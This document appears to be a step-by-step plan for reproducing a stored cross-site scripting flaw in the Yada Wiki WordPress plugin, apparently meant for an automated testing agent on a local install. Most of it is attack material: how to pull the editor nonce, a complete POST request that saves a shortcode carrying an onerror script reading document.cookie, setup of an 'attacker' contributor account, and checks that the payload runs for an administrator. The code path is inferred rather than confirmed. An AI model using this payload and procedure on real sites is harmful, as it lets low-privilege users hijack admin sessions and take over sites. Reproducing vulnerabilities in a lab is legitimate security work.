Yada Wiki <= 3.5 - Authenticated (Contributor+) Stored Cross-Site Scripting

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the Yada Wiki plugin (<= 3.5). The vulnerability allows authenticated users with Contributor-level permissions or higher to inject malicious scripts into pages via unsanitized input, likely within shortcode attributes or post metadata associated with the Wiki functionality.

---

1. Vulnerability Summary

• Vulnerability: Stored Cross-Site Scripting (XSS)
• Location: Likely within shortcode processing functions (e.g., yadawikilink, yadawikitoc) or custom post meta handling for the yada_wiki post type.
• Cause: The plugin fails to use context-aware escaping (like esc_attr() or esc_html()) when rendering user-provided attributes from shortcodes or meta fields.
• Impact: A Contributor can create a wiki page containing a malicious payload. When an Administrator views this page, the script executes, potentially allowing for session hijacking, administrative user creation, or site takeover.

2. Attack Vector Analysis

• Endpoint: wp-admin/post.php (standard post saving) or wp-admin/admin-ajax.php (autosave).
• Authentication: Contributor-level (or higher) authenticated session.
• Payload Carrier: Shortcode attributes within the post_content or specific custom fields (post meta) associated with the yada_wiki post type.
• Preconditions: The Yada Wiki plugin must be active, and the attacker must have permission to create or edit yada_wiki posts (standard for Contributors in this plugin's context).

3. Code Flow (Inferred)

1. Entry Point: A Contributor submits a new yada_wiki post via the WordPress block editor or classic editor.
2. Storage: The post_content containing a shortcode (e.g., [yadawikilink show="PAYLOAD"]) is saved to the wp_posts table.
3. Rendering (Sink):
   • A user (e.g., Admin) visits the published wiki page.
   • WordPress parses the content and identifies the Yada Wiki shortcode.
   • The plugin's callback function (e.g., yada_wiki_link_shortcode) is invoked.
   • Inside the callback, the $atts['show'] (or similar attribute) is echoed or returned as part of an HTML string without being wrapped in esc_attr() or esc_html().
   • The browser renders the unsanitized HTML, executing the payload.

4. Nonce Acquisition Strategy

Since this is a Stored XSS via the standard post-creation flow, the primary nonce required is the _wpnonce found in the post-editor page.

1. Identify the Post Type: The plugin uses yada_wiki.
2. Navigate to Editor: Use browser_navigate to go to /wp-admin/post-new.php?post_type=yada_wiki.
3. Extract Nonce:
   • The nonce is typically in an input field: id="_wpnonce".
   • Use browser_eval to get the value:

     document.querySelector('#_wpnonce').value
     

4. Extract Post ID: Get the post_ID from the hidden input or the URL to ensure the subsequent POST request targets the correct draft.

5. Exploitation Strategy

Step 1: Authentication

Log in as a Contributor.

Step 2: Payload Injection

Submit a POST request to wp-admin/post.php to save a post containing the malicious shortcode.

• URL: http://localhost:8080/wp-admin/post.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: editpost
  • post_type: yada_wiki
  • post_ID: [TARGET_POST_ID]
  • _wpnonce: [EXTRACTED_NONCE]
  • post_title: XSS Test Page
  • content: [yadawikilink show="<img src=x onerror=alert(document.cookie)>" link="Home"]
  • publish: Publish

Step 3: Triggering

The payload is now stored. Navigate an Administrator to the permalink of the newly created wiki page.

6. Test Data Setup

1. Users:
   • Create an Administrator: wp user create admin admin@example.com --role=administrator --user_pass=password
   • Create a Contributor: wp user create attacker attacker@example.com --role=contributor --user_pass=password
2. Plugin:
   • Install and activate Yada Wiki 3.5.
3. Content:
   • No existing content is strictly required, but having at least one other page to "link" to in the shortcode is helpful for realistic testing.

7. Expected Results

• Storage: The wp_posts table should contain the raw shortcode with the payload in the post_content column.
• Execution: When the page is rendered, the HTML output should look like:
  <a class="..." href="..."> <img src=x onerror=alert(document.cookie)> </a>
• Observation: An alert box displaying the session cookie should appear in the browser when viewed by any user.

8. Verification Steps

1. Database Check:

   wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test Page'"
   

   Confirm the payload is present.
2. Source Check:
   Use http_request as an Administrator to fetch the page and grep for the payload:

   # (Pseudocode for agent)
   # response = http_request(url=wiki_page_url)
   # if "<img src=x onerror=" in response.body: SUCCESS
   

9. Alternative Approaches

If the [yadawikilink] shortcode is not the sink, investigate other shortcodes registered by the plugin:

• [yadawikitoc] - Check for title or category attribute injection.
• [yadawikihost] - Check for show or category attribute injection.

Grep for Shortcodes:

grep -r "add_shortcode" /var/www/html/wp-content/plugins/yada-wiki/

Analyze Shortcode Handlers:
Check the callback functions found in the grep results. Look for variables being appended to the $output string without esc_ functions. Common vulnerable pattern:

$output .= '<div class="yada-wiki-toc">' . $atts['title'] . '</div>'; // VULNERABLE

Correct pattern:

$output .= '<div class="yada-wiki-toc">' . esc_html($atts['title']) . '</div>'; // SECURE